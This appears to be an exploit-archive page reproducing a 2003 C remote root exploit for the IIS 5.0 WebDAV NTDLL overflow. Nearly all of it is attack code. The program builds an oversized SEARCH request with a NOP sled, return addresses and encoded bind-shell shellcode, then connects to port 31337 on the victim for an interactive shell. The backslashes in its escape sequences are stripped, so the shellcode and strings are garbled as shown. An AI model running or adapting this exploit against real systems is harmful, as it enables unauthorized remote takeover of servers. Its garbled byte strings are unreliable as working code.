[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MS Windows WebDav III remote root Exploit (xwdav)
# Published : 2003-07-08
# Author : Schizoprenic
# Previous Title : Samba 2.2.8 (Bruteforce Method) Remote Root Exploit
# Next Title : LeapFTP 2.7.x Remote Buffer Overflow Exploit


/*
 * IIS 5.0 WebDAV Exploit Xnuxer Lab
 * By Schizoprenic, Copyright (c) 2003
 * WebDAV exploit without netcat or telnet and with pretty magic number as RET
 */

#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

#define  RET             0xc9c9   
#define  LOADLIBRARYA    0x0100107c
#define  GETPROCADDRESS  0x01001034
#define  PORT_OFFSET     1052
#define  LOADL_OFFSET    798
#define  GETPROC_OFFSET  815
#define  NOP             0x90
 
unsigned char shellcode[] =            // Deepzone shellcode
  "x68x5ex56xc3x90x54x59xffxd1x58x33xc9xb1x1c"
  "x90x90x90x90x03xf1x56x5fx33xc9x66xb9x95x04"
  "x90x90x90xacx34x99xaaxe2xfax71x99x99x99x99"
  "xc4x18x74x40xb8xd9x99x14x2cx6bxbdxd9x99x14"
  "x24x63xbdxd9x99xf3x9ex09x09x09x09xc0x71x4b"
  "x9bx99x99x14x2cxb3xbcxd9x99x14x24xaaxbcxd9"
  "x99xf3x93x09x09x09x09xc0x71x23x9bx99x99xf3"
  "x99x14x2cx40xbcxd9x99xcfx14x2cx7cxbcxd9x99"
  "xcfx14x2cx70xbcxd9x99xcfx66x0cxaaxbcxd9x99"
  "xf3x99x14x2cx40xbcxd9x99xcfx14x2cx74xbcxd9"
  "x99xcfx14x2cx68xbcxd9x99xcfx66x0cxaaxbcxd9"
  "x99x5ex1cx6cxbcxd9x99xddx99x99x99x14x2cx6c"
  "xbcxd9x99xcfx66x0cxaexbcxd9x99x14x2cxb4xbf"
  "xd9x99x34xc9x66x0cxcaxbcxd9x99x14x2cxa8xbf"
  "xd9x99x34xc9x66x0cxcaxbcxd9x99x14x2cx68xbc"
  "xd9x99x14x24xb4xbfxd9x99x3cx14x2cx7cxbcxd9"
  "x99x34x14x24xa8xbfxd9x99x32x14x24xacxbfxd9"
  "x99x32x5ex1cxbcxbfxd9x99x99x99x99x99x5ex1c"
  "xb8xbfxd9x99x98x98x99x99x14x2cxa0xbfxd9x99"
  "xcfx14x2cx6cxbcxd9x99xcfxf3x99xf3x99xf3x89"
  "xf3x98xf3x99xf3x99x14x2cxd0xbfxd9x99xcfxf3"
  "x99x66x0cxa2xbcxd9x99xf1x99xb9x99x99x09xf1"
  "x99x9bx99x99x66x0cxdaxbcxd9x99x10x1cxc8xbf"
  "xd9x99xaax59xc9xd9xc9xd9xc9x66x0cx63xbdxd9"
  "x99xc9xc2xf3x89x14x2cx50xbcxd9x99xcfxcax66"
  "x0cx67xbdxd9x99xf3x9axcax66x0cx9bxbcxd9x99"
  "x14x2cxccxbfxd9x99xcfx14x2cx50xbcxd9x99xcf"
  "xcax66x0cx9fxbcxd9x99x14x24xc0xbfxd9x99x32"
  "xaax59xc9x14x24xfcxbfxd9x99xcexc9xc9xc9x14"
  "x2cx70xbcxd9x99x34xc9x66x0cxa6xbcxd9x99xf3"
  "xa9x66x0cxd6xbcxd9x99x72xd4x09x09x09xaax59"
  "xc9x14x24xfcxbfxd9x99xcexc9xc9xc9x14x2cx70"
  "xbcxd9x99x34xc9x66x0cxa6xbcxd9x99xf3xc9x66"
  "x0cxd6xbcxd9x99x1ax24xfcxbfxd9x99x9bx96x1b"
  "x8ex98x99x99x18x24xfcxbfxd9x99x98xb9x99x99"
  "xebx97x09x09x09x09x5ex1cxfcxbfxd9x99x99xb9"
  "x99x99xf3x99x12x1cxfcxbfxd9x99x14x24xfcxbf"
  "xd9x99xcexc9x12x1cxc8xbfxd9x99xc9x14x2cx70"
  "xbcxd9x99x34xc9x66x0cxdexbcxd9x99xf3xc9x66"
  "x0cxd6xbcxd9x99x12x1cxfcxbfxd9x99xf3x99xc9"
  "x14x2cxc8xbfxd9x99x34xc9x14x2cxc0xbfxd9x99"
  "x34xc9x66x0cx93xbcxd9x99xf3x99x14x24xfcxbf"
  "xd9x99xcexf3x99xf3x99xf3x99x14x2cx70xbcxd9"
  "x99x34xc9x66x0cxa6xbcxd9x99xf3xc9x66x0cxd6"
  "xbcxd9x99xaax50xa0x14xfcxbfxd9x99x96x1exfe"
  "x66x66x66xf3x99xf1x99xb9x99x99x09x14x2cxc8"
  "xbfxd9x99x34xc9x14x2cxc0xbfxd9x99x34xc9x66"
  "x0cx97xbcxd9x99x10x1cxf8xbfxd9x99xf3x99x14"
  "x24xfcxbfxd9x99xcexc9x14x2cxc8xbfxd9x99x34"
  "xc9x14x2cx74xbcxd9x99x34xc9x66x0cxd2xbcxd9"
  "x99xf3xc9x66x0cxd6xbcxd9x99xf3x99x12x1cxf8"
  "xbfxd9x99x14x24xfcxbfxd9x99xcexc9x12x1cxc8"
  "xbfxd9x99xc9x14x2cx70xbcxd9x99x34xc9x66x0c"
  "xdexbcxd9x99xf3xc9x66x0cxd6xbcxd9x99x70x20"
  "x67x66x66x14x2cxc0xbfxd9x99x34xc9x66x0cx8b"
  "xbcxd9x99x14x2cxc4xbfxd9x99x34xc9x66x0cx8b"
  "xbcxd9x99xf3x99x66x0cxcexbcxd9x99xc8xcfxf1"
  "xe5x89x99x98x09xc3x66x8bxc9xc2xc0xcexc7xc8"
  "xcfxcaxf1xadx89x99x98x09xc3x66x8bxc9x35x1d"
  "x59xecx62xc1x32xc0x7bx70x5axcexcaxd6xdaxd2"
  "xaaxabx99xeaxf6xfaxf2xfcxedx99xfbxf0xf7xfd"
  "x99xf5xf0xeaxedxfcxf7x99xf8xfaxfaxfcxe9xed"
  "x99xeaxfcxf7xfdx99xebxfcxfaxefx99xfaxf5xf6"
  "xeaxfcxeaxf6xfaxf2xfcxedx99xd2xdcxcbxd7xdc"
  "xd5xaaxabx99xdaxebxfcxf8xedxfcxc9xf0xe9xfc"
  "x99xdexfcxedxcaxedxf8xebxedxecxe9xd0xf7xff"
  "xf6xd8x99xdaxebxfcxf8xedxfcxc9xebxf6xfaxfc"
  "xeaxeaxd8x99xc9xfcxfcxf2xd7xf8xf4xfcxfdxc9"
  "xf0xe9xfcx99xdexf5xf6xfbxf8xf5xd8xf5xf5xf6"
  "xfax99xcbxfcxf8xfdxdfxf0xf5xfcx99xcexebxf0"
  "xedxfcxdfxf0xf5xfcx99xcaxf5xfcxfcxe9x99xda"
  "xf5xf6xeaxfcxd1xf8xf7xfdxf5xfcx99xdcxe1xf0"
  "xedxc9xebxf6xfaxfcxeaxeax99xdaxf6xfdxfcxfd"
  "xb9xfbxe0xb9xe5xc3xf8xf7xb9xa5xf0xe3xf8xf7"
  "xd9xfdxfcxfcxe9xe3xf6xf7xfcxb7xf6xebxfexa7"
  "x9bx99x86xd1x99x99x99x99x99x99x99x99x99x99"
  "x99x99x95x99x99x99x99x99x99x99x98x99x99x99"
  "x99x99x99x99x99x99x99x99x99x99x99x99x99x99"
  "x99x99x99x99x99x99x99x99x99x99x99x99x99x99"
  "x99x99x99x99x99x99x99x99x99x99x99x99x99x99"
  "x99x99x99x99x99x99x99x99x99x99x99x99x99x99"
  "x99x99x99x99x99x99x99x99x99x99x99x99x99x99"
  "x99x99x99x99x99x99x99x99x99x99x99x99x99x99"
  "x99x99x99x99x99x99x99x99x99x99x99x99x99x99"
  "x99x99xdaxd4xddxb7xdcxc1xdcx99x99x99x99x99"
  "x89x99x99x99x99x99x99x99x99x99x99x99x99x99"
  "x99x99x99x99x99x99x90x90x90x90x90x90x90x90";
 
unsigned char jumpcode[] = "x8bxf9x32xc0xfexc0xf2xaexffxe7";
char body[] = "<?xml version="1.0"?>rn<g:searchrequest xmlns:g="DAV:">rn"
              "<g:sql>rnSelect "DAV:displayname" from scope()rn</g:sql>rn"
              "</g:searchrequest>rn";
 
void usage(char *prog)
{
   printf("Remote Exploit for IIS 5.0 WebDAV by Xnuxern"
          "Bug overflow NTDLL.DLLn"
          "Usage: %s <victim>n", prog);
   exit(-1);
}
 
void shell(int sock)
{
 fd_set  fd_read;
 char buff[1024];
 int n;
 
 while(1) {
  FD_SET(sock,&fd_read);
  FD_SET(0,&fd_read);
 
  if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
 
  if( FD_ISSET(sock, &fd_read) ) {
   n=read(sock,buff,sizeof(buff));
   if (n == 0) {
       printf ("Connection closed.n");
       exit(EXIT_FAILURE);
   } else if (n < 0) {
       perror("read remote");
       exit(EXIT_FAILURE);
   }
   write(1,buff,n);
  }
 
  if ( FD_ISSET(0, &fd_read) ) {
    if((n=read(0,buff,sizeof(buff)))<=0){
      perror ("read user");
      exit(EXIT_FAILURE);
    }
    write(sock,buff,n);
  }
 }
 close(sock); 
}
 
int main(int argc, char **argv)
{
struct hostent *he;
struct sockaddr_in sock1;
struct sockaddr_in sock2;
unsigned short port;
unsigned long ret=RET;
char buffer[100000];
int sock, sck, h,i,j;
 
   if (argc != 2) usage(argv[0]);   
 
   printf("Resolving %s .. ", argv[1]);
   if ((he = gethostbyname(argv[1])) == NULL)
   {
      fprintf(stderr, "Unknown hostn");
      exit(-1);
   }
 
   printf("Resolvedn");
 
   port = htons(31337);
   port ^= 0x9999;
 
   *(unsigned short *)&shellcode[PORT_OFFSET] = port;
   *(unsigned long *)&shellcode[LOADL_OFFSET] = LOADLIBRARYA ^ 0x99999999;
   *(unsigned long *)&shellcode[GETPROC_OFFSET] = GETPROCADDRESS ^ 0x99999999;
 
   bcopy(he->h_addr, &sock1.sin_addr, he->h_length);
   sock1.sin_family = AF_INET;
   sock1.sin_port = htons(80);
 
   printf("[+] Attacking to %s via port: 80n", argv[1]);
 
   if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
      perror("Failed to create socket");
      exit(-1);
   }
 
   if (connect(sock, (struct sockaddr *)&sock1, sizeof(sock1)) == -1)
   {
      perror("Failed to connect");
      exit(-1);
   }
 
   bzero(buffer,100000);
   strcpy(buffer,"SEARCH /");
 
   i = strlen(buffer);
   buffer[i] = NOP;         
 
   for (j=i+1; j < i+2150; j+=2)
       *(unsigned short *)&buffer[j] = (unsigned short)ret;
 
   for (; j < i+65535-strlen(jumpcode); j++)
       buffer[j] = NOP;
 
   memcpy(&buffer[j], jumpcode, strlen(jumpcode));
   strcpy(buffer+strlen(buffer), " HTTP/1.1rn");
   sprintf(buffer+strlen(buffer), "Host: %srnContent-Type: text/xmlrn"
                                  "Content-Length: %drnrn", argv[1], strlen(body)
+ strlen(shellcode));
   strcpy(buffer+strlen(buffer), body);
   memset(buffer+strlen(buffer), 0x01, 1);
   memset(buffer+strlen(buffer), NOP, 3);
   strcpy(buffer+strlen(buffer), shellcode);
 
   if (send(sock, buffer, strlen(buffer), 0) != strlen(buffer))
   {
      perror("Failed to send");
      exit(-1);
   }
 
   printf("[+] Overflow sent, waiting for 5 secondsn");
   sleep(5);
 
   bcopy(he->h_addr, &sock2.sin_addr, he->h_length);
   sock2.sin_family = AF_INET;
   sock2.sin_port = htons(31337);
 
   printf("[+] Connecting to %s: 31337n", argv[1]);
 
   if ((sck = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
      perror("Failed to create socket");
      exit(-1);
   }
 
   if (connect(sck, (struct sockaddr *)&sock2, sizeof(sock2)) == -1)
   {
      printf("[+] Unable to connect.n"
             "[+] Exploitation failed, maybe blocked by firewall.n");
      close(sock);
      close(sck);
      exit(-1);
   }
 
   close(sock);
   printf("[+] Successfull, attempting to join shell ...nn");
   shell(sck);
   return 0;           
}

// www.Syue.com [2003-07-08]